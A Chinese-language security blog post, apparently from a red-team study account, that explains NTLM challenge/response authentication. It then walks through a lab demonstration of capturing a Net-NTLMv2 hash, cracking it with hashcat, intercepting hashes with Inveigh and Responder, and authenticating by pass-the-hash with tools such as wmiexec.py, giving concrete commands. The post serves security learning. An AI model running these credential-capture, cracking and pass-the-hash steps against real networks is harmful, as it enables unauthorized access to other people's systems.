乐趣区

Windows认证-网络认证

在平时的测试中,经常会碰到处于工作组的计算机,处于工作组的计算机之间是无法建立一个可信的信托机构的,只能是点对点进行信息的传输。

举个例子就是,主机 A 想要访问主机 B 上的资源,就要向主机 B 发送一个存在于主机 B 上的一个账户,主机 B 接收以后会在本地进行验证,如果验证成功,才会允许主机 A 进行相应的访问。

这里主要说一下基于 挑战(Chalenge)/ 响应(Response)认证机制 NTLM 协议,对于之前的 SMB 协议等等就不再进行过多的说明。

NTLM 协议是一种基于 挑战(Chalenge)/ 响应(Response)认证机制,仅支持 Windows 的网络认证协议。

它主要分为协商、质询和验证三个步骤

协商,这个是为了解决历史遗留问题,也就是为了向下兼容,双方先确定一下传输协议的版本等各种信息。

质询,这一步便是 Chalenge/Response 认证机制的关键之处,下面会介绍这里的步骤。

验证,对质询的最后结果进行一个验证,验证通过后,即允许访问资源

质询的完整过程

** 首先,client 会向 server 发送一个 username,这个 username 是存在于 server 上的一个用户。

** 当 server 接收到这个信息时,首先会在本地查询是否存在这样的一个用户,如果不存在,则直接返回认证失败,如果存在,将会生成一个 16 位的随机字符,即 Chalenge,然后用查询到的这个 user 的 NTLM hash 对 Chalenge 进行加密,生成 Chalenge1,将 Chalenge1 存储在本地,并将 Chalenge 传给 client。

** 当 client 接收到 Chalenge 时,将发送的 username 所对应的 NTLM hash 对 Chalenge 进行加密即 Response,并 Response 发送给 server。

** 质询到这里就结束了,最后一步就是属于验证的机制了

** server 在收到 Response 后,将其与 Chalenge1 进行比较,如果相同,则验证成功

大致的流程就是这样子了

最后再稍微说一下 NTLM V2 协议,NTLMv1 与 NTLM v2 最显著的区别就是 Challenge 与加密算法不同,共同点就是加密的原料都是 NTLM Hash,NTLM v1 的 Challenge 有 8 位,NTLM v2 的 Challenge 为 16 位;NTLM v1 的主要加密算法是 DES,NTLM v2 的主要加密算法是 HMAC-MD5。

我们用实际抓包情况来看一下他们之间的数据传输

server
192.168.5.133
LENOVO/123456

client
192.168.5.134

在 client 远程连接 server

net use \\192.168.5.133 /u:LENOVO 123456

我们来看一下抓到的数据包

这四条应该是进行协商的

前四个数据包对应 NTLM 认证的四部过程

我们打开第二个数据包,获得返回的 Challenge:d2165f1d10268dc0

查看第三个数据包可以得到 client 加密后的 Challenge:1b6943212ce6ccf2

Response 数据为

8582c1c1d54a7a430fc79a0abe09b4040101000000000000f29aefb85f5ad5011b6943212ce6ccf20000000002001e00570049004e002d0044004d0047004d0055004f005000510030003300310001001e00570049004e002d0044004d0047004d0055004f005000510030003300310004001e00570049004e002d0044004d0047004d0055004f005000510030003300310003001e00570049004e002d0044004d0047004d0055004f005000510030003300310007000800f29aefb85f5ad50106000400020000000800300030000000000000000100000000200000f4be3b3312dffac27687742d4f92263e5c1a37792d98c42fa6cd9200a6e15fa80a001000000000000000000000000000000000000900240063006900660073002f003100390032002e003100360038002e0035002e00310033003300000000000000000000000000

接下来便可以使用 Hashcat 对其进行破解

NTLMv2 的格式为:username::domain:challenge:HMAC-MD5:blob

注:challenge 为 NTLMServer Challenge,domian 由数据包内容获得(IP 或者机器名),HMAC-MD5 对应数据包中的 NTProofStr,blob 对应数据包中 Response 去掉 NTProofStr 的后半部分

所以完整的 NTLMv2 数据为

LENOVO::WIN-DMGMUOPQ031:d2165f1d10268dc0:8582c1c1d54a7a430fc79a0abe09b404:0101000000000000f29aefb85f5ad5011b6943212ce6ccf20000000002001e00570049004e002d0044004d0047004d0055004f005000510030003300310001001e00570049004e002d0044004d0047004d0055004f005000510030003300310004001e00570049004e002d0044004d0047004d0055004f005000510030003300310003001e00570049004e002d0044004d0047004d0055004f005000510030003300310007000800f29aefb85f5ad50106000400020000000800300030000000000000000100000000200000f4be3b3312dffac27687742d4f92263e5c1a37792d98c42fa6cd9200a6e15fa80a001000000000000000000000000000000000000900240063006900660073002f003100390032002e003100360038002e0035002e00310033003300000000000000000000000000

然后使用 hashcat 即可破解

hashcat -m 5600 LENOVO::WIN-DMGMUOPQ031:d2165f1d10268dc0:8582c1c1d54a7a430fc79a0abe09b404:0101000000000000f29aefb85f5ad5011b6943212ce6ccf20000000002001e00570049004e002d0044004d0047004d0055004f005000510030003300310001001e00570049004e002d0044004d0047004d0055004f005000510030003300310004001e00570049004e002d0044004d0047004d0055004f005000510030003300310003001e00570049004e002d0044004d0047004d0055004f005000510030003300310007000800f29aefb85f5ad50106000400020000000800300030000000000000000100000000200000f4be3b3312dffac27687742d4f92263e5c1a37792d98c42fa6cd9200a6e15fa80a001000000000000000000000000000000000000900240063006900660073002f003100390032002e003100360038002e0035002e00310033003300000000000000000000000000/root/123.list -o balabala.txt --force

-m:hash-type,5600 对应 NetNTLMv2,详细参数可查表:https://hashcat.net/wiki/doku…

-o:输出文件

字典文件为 /root/123.list

–force 代表强制执行,测试系统不支持 Intel OpenCL

最后可以看到已经成功爆破出密码

当然在实际的测试环境中,我们不可能使用这样的方法去获取,可以使用中间人攻击的方式来获取 Net-NTLMhash,常用的两个工具是 ResponderInveigh

Responder:python 编写

https://github.com/lgandx/Responder

Inveigh:powershell 编写

https://github.com/Kevin-Robertson/Inveigh

我们在 client 上运行 Inveigh,当我们通过命令行连接的时候,就可以获取到 Net-NTLMv2 hash。

首先先执行 powershell

Import-Module .\Inveigh.psd1
Invoke-Inveigh -consoleoutput Y

此时就会抓到传输中的 Net-NTLMv2 hash

然后再进行破解就可以了

但是,当我们无法对其进行破解时,还有一种方法可以用来利用,那就是 PTH,即 Pass The Hash(哈希传递),哈希传递是能够在 不需要 账户明文密码的情况下完成认证的一个技术,在使用这种技术的时候,我们不光需要用户的的 NTLM Hash,还 需要 知道它的用户名。

哈希传递,正是利用了点对点认证没有第三方信托机构的缺点来完成的

首先我们先向 server 发送用户的用户名,等待 server 返回 Chanllenge,然后我们使用用户名对应的 NTLM Hash 将服务器给出的 Chanllenge 加密,生成一个 Response,来完成认证。

至于利用工具的话

1.msf 有下面的模块

exploit/windows/smb/psexec_psh

2.kali 有 pth 工具集

3. 还有基于 python 的 wmiexec

https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py

注:

wmiexec.py 的注释中提示"Mainadvantage here is it runs under the user (has to be Admin) account",经实际测试普通用户权限即可

wmiexec.py 的 hash 参数格式为LMHASH:NTHASH,如果系统默认不支持 LM hash,将 LM hash 设定为任意值即可

参数实例:

wmiexec -hashes00000000000000000000000000000000:7ECFFFF0C3548187607A14BAD0F88BB1TEST/test1@192.168.1.1 "whoami"

4. 还有基于 powershell 的

https://github.com/Kevin-Robertson/Invoke-TheHash/

5. 感觉最好用的应该还是 cs 中自带的那个功能,方便又快捷。

如果对 NTLM 感兴趣的可以去了解了解下面的两篇文章

http://davenport.sourceforge.net/ntlm.html

https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html

文章首发公众号:无心的梦呓(wuxinmengyi)

这是一个记录红队学习、信安笔记,个人成长的公众号

扫码关注即可

退出移动版